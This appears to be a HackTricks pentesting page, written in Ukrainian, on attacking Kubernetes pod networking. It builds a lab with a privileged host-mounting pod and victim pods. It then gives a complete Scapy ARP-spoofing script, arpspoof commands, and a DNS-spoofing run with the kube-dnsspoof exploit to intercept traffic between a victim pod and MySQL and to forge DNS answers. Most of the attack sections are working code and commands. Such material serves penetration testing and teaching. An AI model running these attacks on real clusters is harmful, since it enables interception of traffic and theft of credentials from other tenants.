# Kubernetes Network Attacks {{#include ../../banners/hacktricks-training.md}} ## Introduction У Kubernetes спостерігається, що за замовчуванням дозволяється встановлення з'єднань між **усіма контейнерами, що знаходяться на одному вузлі**. Це стосується незалежно від відмінностей у просторах імен. Таке з'єднання поширюється до **Рівня 2** (Ethernet). Внаслідок цього така конфігурація потенційно піддає систему вразливостям. Зокрема, це відкриває можливість для **зловмисного контейнера** виконати **атаку ARP-спуфінгу** проти інших контейнерів, розташованих на тому ж вузлі. Під час такої атаки зловмисний контейнер може обманом перехоплювати або змінювати мережевий трафік, призначений для інших контейнерів. Атаки ARP-спуфінгу передбачають, що **зловмисник надсилає підроблені ARP** (протокол розв'язання адрес) повідомлення через локальну мережу. Це призводить до зв'язування **MAC-адреси зловмисника з IP-адресою легітимного комп'ютера або сервера в мережі**. Після успішного виконання такої атаки зловмисник може перехоплювати, змінювати або навіть зупиняти дані в процесі передачі. Атака виконується на Рівні 2 моделі OSI, саме тому стандартне з'єднання в Kubernetes на цьому рівні викликає занепокоєння з приводу безпеки. У сценарії буде створено 4 машини: - ubuntu-pe: Привілейована машина для втечі до вузла та перевірки метрик (необхідна для атаки) - **ubuntu-attack**: **Зловмисний** контейнер у стандартному просторі імен - **ubuntu-victim**: **Жертва** машина в просторі імен kube-system - **mysql**: **Жертва** машина в стандартному просторі імен ```yaml echo 'apiVersion: v1 kind: Pod metadata: name: ubuntu-pe spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-pe securityContext: allowPrivilegeEscalation: true privileged: true runAsUser: 0 volumeMounts: - mountPath: /host name: host-volume restartPolicy: Never hostIPC: true hostNetwork: true hostPID: true volumes: - name: host-volume hostPath: path: / --- apiVersion: v1 kind: Pod metadata: name: ubuntu-attack labels: app: ubuntu spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-attack restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: ubuntu-victim namespace: kube-system spec: containers: - image: ubuntu command: - "sleep" - "360000" imagePullPolicy: IfNotPresent name: ubuntu-victim restartPolicy: Never --- apiVersion: v1 kind: Pod metadata: name: mysql spec: containers: - image: mysql:5.6 ports: - containerPort: 3306 imagePullPolicy: IfNotPresent name: mysql env: - name: MYSQL_ROOT_PASSWORD value: mysql restartPolicy: Never' | kubectl apply -f - ``` ```bash kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools python3-pip python3 ngrep nano dnsutils; pip3 install scapy; bash" kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash" kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash" ``` ## Основи мережевої взаємодії Kubernetes Якщо ви хочете більше деталей про мережеві теми, представлені тут, зверніться до посилань. ### ARP Говорячи загалом, **мережеве з'єднання pod-to-pod всередині вузла** доступне через **міст**, який з'єднує всі поди. Цей міст називається “**cbr0**”. (Деякі мережеві плагіни встановлять свій власний міст.) **cbr0 також може обробляти ARP** (протокол розв'язання адрес) розв'язання. Коли вхідний пакет надходить до cbr0, він може розв'язати MAC-адресу призначення за допомогою ARP. Цей факт означає, що за замовчуванням **кожен под, що працює в одному вузлі**, зможе **спілкуватися** з будь-яким іншим подом в тому ж вузлі (незалежно від простору імен) на рівні ethernet (рівень 2). > [!WARNING] > Отже, можливо виконати A**RP Spoofing атаки між подами в одному вузлі.** ### DNS У середовищах kubernetes ви зазвичай знайдете 1 (або більше) **DNS-сервісів, що працюють** зазвичай у просторі імен kube-system: ```bash kubectl -n kube-system describe services Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Annotations: prometheus.io/port: 9153 prometheus.io/scrape: true Selector: k8s-app=kube-dns Type: ClusterIP IP Families: IP: 10.96.0.10 IPs: 10.96.0.10 Port: dns 53/UDP TargetPort: 53/UDP Endpoints: 172.17.0.2:53 Port: dns-tcp 53/TCP TargetPort: 53/TCP Endpoints: 172.17.0.2:53 Port: metrics 9153/TCP TargetPort: 9153/TCP Endpoints: 172.17.0.2:9153 ``` У попередній інформації ви можете побачити щось цікаве, **IP сервісу** - **10.96.0.10**, але **IP поду**, що виконує сервіс, - **172.17.0.2.** Якщо ви перевірите DNS-адресу всередині будь-якого поду, ви знайдете щось подібне: ``` cat /etc/resolv.conf nameserver 10.96.0.10 ``` Однак, под **не знає**, як дістатися до цієї **адреси**, оскільки **діапазон подів** у цьому випадку становить 172.17.0.10/26. Отже, под надішле **DNS запити на адресу 10.96.0.10**, яка буде **перекладена** cbr0 **на** **172.17.0.2**. > [!WARNING] > Це означає, що **DNS запит** пода **завжди** буде йти до **мосту** для **перекладу** **IP служби на IP кінцевої точки**, навіть якщо DNS сервер знаходиться в тій же підмережі, що й под. > > Знаючи це, і знаючи, що **ARP атаки можливі**, **под** у вузлі зможе **перехопити трафік** між **кожним подом** у **підмережі** та **мостом** і **модифікувати** **DNS відповіді** від DNS сервера (**DNS Спуфінг**). > > Більше того, якщо **DNS сервер** знаходиться в **тому ж вузлі, що й атакуючий**, атакуючий може **перехопити всі DNS запити** будь-якого пода в кластері (між DNS сервером і мостом) і модифікувати відповіді. ## ARP Спуфінг у подах в одному вузлі Наша мета - **викрасти принаймні комунікацію від ubuntu-victim до mysql**. ### Scapy ```bash python3 /tmp/arp_spoof.py Enter Target IP:172.17.0.10 #ubuntu-victim Enter Gateway IP:172.17.0.9 #mysql Target MAC 02:42:ac:11:00:0a Gateway MAC: 02:42:ac:11:00:09 Sending spoofed ARP responses # Get another shell kubectl exec -it ubuntu-attack -- bash ngrep -d eth0 # Login from ubuntu-victim and mysql and check the unencrypted communication # interacting with the mysql instance ``` ```python:arp_spoof.py #From https://gist.github.com/rbn15/bc054f9a84489dbdfc35d333e3d63c87#file-arpspoofer-py from scapy.all import * def getmac(targetip): arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip) targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc return targetmac def spoofarpcache(targetip, targetmac, sourceip): spoofed= ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac) send(spoofed, verbose= False) def restorearp(targetip, targetmac, sourceip, sourcemac): packet= ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip) send(packet, verbose=False) print("ARP Table restored to normal for", targetip) def main(): targetip= input("Enter Target IP:") gatewayip= input("Enter Gateway IP:") try: targetmac= getmac(targetip) print("Target MAC", targetmac) except: print("Target machine did not respond to ARP broadcast") quit() try: gatewaymac= getmac(gatewayip) print("Gateway MAC:", gatewaymac) except: print("Gateway is unreachable") quit() try: print("Sending spoofed ARP responses") while True: spoofarpcache(targetip, targetmac, gatewayip) spoofarpcache(gatewayip, gatewaymac, targetip) except KeyboardInterrupt: print("ARP spoofing stopped") restorearp(gatewayip, gatewaymac, targetip, targetmac) restorearp(targetip, targetmac, gatewayip, gatewaymac) quit() if __name__=="__main__": main() # To enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward ``` ### ARPSpoof ```bash apt install dsniff arpspoof -t 172.17.0.9 172.17.0.10 ``` ## DNS Spoofing Як вже згадувалося, якщо ви **зламали под на тому ж вузлі, що й под DNS-сервера**, ви можете **MitM** з **ARPSpoofing** **мостом** і **подом DNS** та **модифікувати всі DNS-відповіді**. У вас є дійсно гарний **інструмент** і **посібник** для тестування цього в [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/) У нашому сценарії, **завантажте** **інструмент** в поді атакуючого та створіть **файл з назвою `hosts`** з **доменами**, які ви хочете **спуфити**, наприклад: ``` cat hosts google.com. 1.1.1.1 ``` Виконайте атаку на машину ubuntu-victim: ``` python3 exploit.py --direct 172.17.0.10 [*] starting attack on direct mode to pod 172.17.0.10 Bridge: 172.17.0.1 02:42:bd:63:07:8d Kube-dns: 172.17.0.2 02:42:ac:11:00:02 [+] Taking over DNS requests from kube-dns. press Ctrl+C to stop ``` ```bash #In the ubuntu machine dig google.com [...] ;; ANSWER SECTION: google.com. 1 IN A 1.1.1.1 ``` > [!NOTE] > Якщо ви спробуєте створити свій власний скрипт для спуфінгу DNS, якщо ви **просто змініть DNS-відповідь**, це **не** буде **працювати**, тому що **відповідь** буде мати **src IP** адресу **зловмисного** **под** і **не буде** **прийнята**.\ > Вам потрібно згенерувати **новий DNS-пакет** з **src IP** DNS, куди жертва надсилає DNS-запит (це щось на зразок 172.16.0.2, а не 10.96.0.10, це IP-адреса служби K8s DNS, а не IP-адреса DNS-сервера, більше про це в вступі). ## Capturing Traffic Інструмент [**Mizu**](https://github.com/up9inc/mizu) є простим, але потужним API **переглядачем трафіку для Kubernetes**, що дозволяє вам **переглядати всю API-комунікацію** між мікросервісами, щоб допомогти вам у налагодженні та усуненні регресій.\ Він встановить агенти в обраних подах і збиратиме їх інформацію про трафік, показуючи вам це на веб-сервері. Однак для цього вам знадобляться високі дозволи K8s (і це не дуже непомітно). ## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) {{#include ../../banners/hacktricks-training.md}}